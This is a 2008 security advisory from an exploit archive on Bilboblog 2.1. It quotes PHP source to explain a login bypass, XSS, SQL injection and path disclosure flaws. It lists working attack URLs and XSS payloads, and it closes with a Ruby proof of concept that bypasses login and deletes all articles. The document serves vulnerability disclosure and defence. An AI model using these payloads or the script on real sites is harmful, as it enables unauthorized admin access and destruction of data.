bilboblog 2.1 - Multiple Vulnerabilities


Author:

BlackH

Type:

webapps

Platform:

PHP

Published:

2008-07-14

  ------------------------------------------------------------------

  Name         :   Bilboblog 2.1 Multiples Vulnerabilities
  Description  :   Bilboblog is a small application of micro-blogging in Php / MySQL
  Link         :   http://www.tux-planet.fr/bilboblog-version-021-english-translation/

  Vuln. types  :   Login Bypass - Cross Site Scripting - SQL Injection - Full Path Disclosure
 
  Conditions   :   - SQL Injection      :  Magic Quotes Off
                   - Login Bypass, XSS  :  Register Globals On
 
  Credits      :   Black_H <bl4ck.h@gmail.com>

  ------------------------------------------------------------------


   .: I. Login Bypass
   -------------------
 
   This vulnerability need register_global on.
   The file "admin/index.php" (and most of the admin files) includes the file 'login.php' (at line 23) which contains :
 
   22| session_start();
   23| $checkLogin = false;
   24| #echo "toto".$_SESSION['admin_login']; // note: wtf ??
   25| if(!isset($_SESSION['admin_login'])) {
   26|
   27|   # Check form values
   28|   if (isset($_POST) && (!empty($_POST['admin_login'])) && (!empty($_POST['admin_passwd'])) ) {
   29|
   30|     # Get Session vriables
   31|     $admin_login  = trim($_POST['admin_login']);
   32|     $admin_passwd = trim($_POST['admin_passwd']);
   33|
   34|     # Check login
   35|     if($admin_login == $login && $admin_passwd == $password) {
   36|       $checkLogin = true;
   37|       $_SESSION['admin_login']  = $admin_login;
   38|      $_SESSION['admin_passwd'] = $admin_passwd;
   39|     }
   40|   }
   41|
   42| } else {
   43|   $checkLogin = true;
   44| }
   45|
   46|    22| if(!$checkLogin) {
   47|
   48|   # Print login form
            [...]
   58|     exit(0);   
   59| }
  
   So, we need the session 'admin_login' ( $_SESSION['admin_login'] ) to have admin rights in all files. The script checks
   if we have post good login and pass or not. It's look like good, but if we call directly the login.php file,
   the $login and $password variable  are not defined. We can set them with register_globals on, valid the form with
   the same value and so set $_SESSION['admin_login'].
  
   In facts, go on the page http://site.com/bilboblog/admin/login.php?login=1&password=1 and fill the forms with '1' value
   and submit. Because checkLogin is true nothing is printed and you're  admin :)))
 
 

   .: II. Cross Site Scripting
   ----------------------------
     
        1) Permanent XSS
       
   When an admin  ( legitim or not :)) ) post an article, the enCode function is applied to the content :

   ---- 'admin/update.php'
  
   25| # Check values
   26| if(isset($_POST['content']) && $_POST['content'] != "") {
   27| $content = enCode(substr(trim($_POST['content']), 0, $limit_post));
        [...]
   36| # Insert new content
   37| $sql = "INSERT INTO $db_table VALUES ('', '".time()."', '$content');";
   38| $result = mysql_query($sql);
 
   ---- 'admin/function.php'
  
   141| function enCode($chaine) {
   142|
        [...] // # Youtube & Dailymotion encode url
   145|
   146|  # Detect string encoding
   147|  $encodage = mb_detect_encoding($chaine);
   148|  if($encodage == "ASCII") $encodage = "iso-8859-1"; # Htmlentities unknown ASCII
   149|                
   150|  # Convert special char to html code
   151|  $chaine = htmlentities($chaine,ENT_QUOTES,$encodage);
   152|  $chaine = addslashes($chaine);
   153| 
   154|  # Return result
   155|  return $chaine;
   156| }

   The function clean all html chars in the content that we've submit.
   It protects the user against XSS in all pages of the blog but in the 'widget.php' file stripslashes()
   and html_entity_decode() functions is applied to the content which is printed !
   So je just need to get admin rights (see upper) post malicious code and share widget.php's url to the victim.
       
        2) Unpermanents XSS
       
   The file "index.php" includes the file 'head.php' (at line 21) which contains :

   44| if ($_SERVER['QUERY_STRING'] != "" && intval($_SERVER['QUERY_STRING']) != "") {
     [...]
   55| $titleId = str2Url($liste[2], 100, 0).' - '.$title;
   56| }

   78| <title><?php if(!empty($titleId)) { echo $titleId; } else { echo $title; } ?></title>
   79| </head>
 
   When a page is loaded, the script checks if a number is present in the url to see if she could print an article.
   If the URL ( $_SERVER['QUERY_STRING'] ) contains a number (the id) the script load the article corresponding to the id
   in $_SERVER['QUERY_STRING'].
 
   If $_SERVER['QUERY_STRING'] (the url) do not contain a number, the variable $titleId is not set and print :
   we can define it on add a parameter titleId in the url and his value will be printed on the web page.
   But, the variable $titleId is betwenn the <head> balise, so we need to add </title></head><body> before the malicious code.
   We have : http://site.com/bilboblog/?titleId=TITLE</title></head><body><script>alert(1);</script>
  
   Anyway, there are unfunny XSS in admin files and 'footer.php' :

        http://site.com/bilboblog/footer.php?t_lang[lang_copyright]=XSS
        http://site.com/bilboblog/admin/?content=&lt;/textarea&gt;XSS
        http://site.com/bilboblog/admin/homelink.php?url=">XSS
        http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_help]=XSS
        http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_clear_cache]=XSS
        http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_home]=XSS
        http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_logout]=XSS
       
    and also in /admin/post.php ...

   
   
   .: III. SQL Injection
   ----------------------
  
   In admin panel, we can delete articles by sending article's id we want to supress to the script delete.php
   which clean the id of spaces and include it in a basic sql query :
  
   25| # Check values
   26| if(isset($_POST['num']) && $_POST['num'] != "") {
   27| $article = trim($_POST['num']);
  
   36| # Insert new content // It's look like a copy/paste :))
   37| $sql = "DELETE FROM $db_table WHERE num_article = '$article';";
   38| $result = mysql_query($sql);  
  
   So, with magic_quotes off, we can inject sql code in the query and, by example, delete all entries
   (all articles) in the database.
   To delete all entries, we must send a post request to delete.php, for the poc see at the end of file.
 
 
 
   .: IV. Full Path Disclosure
   ----------------------------
  
   And to finish, the are to FPD which can be exploited for a server attack or in sql injection :
        http://localhost/Audits/bilboblog/footer.php?enable_cache=false
        http://localhost/Audits/bilboblog/pagination.php // don't need any conditions
   
   
   
   .: Õ. SQL INJECTION POC (Ruby)
   ---------------------------------------

   # -- CUT

   # Config
   host = 'site.com'
   path = '/bilboblog/'
   # -- End

   require 'net/http'
   http = Net::HTTP.new(host)

   data = { 0 => "admin_login=1&admin_passwd=1", 1 => "num=-1'  OR num_article > 0#" }
   resp = http.post(path+'admin/login.php?login=1&password=1', data[0])

   cookie = {  'Cookie' => resp.response['set-cookie'] }
   resp = http.post(path+'admin/delete.php', data[1], cookie)
   if(resp.code.to_s == '302') : puts 'Done !' end


   # -- EOF
  
       
   Black_H <bl4ck.h@gmail.com> - blackh.eu
   http://blackh.eu/Advisories/Billboblog_2.1_Advisories.txt

# milw0rm.com [2008-07-14]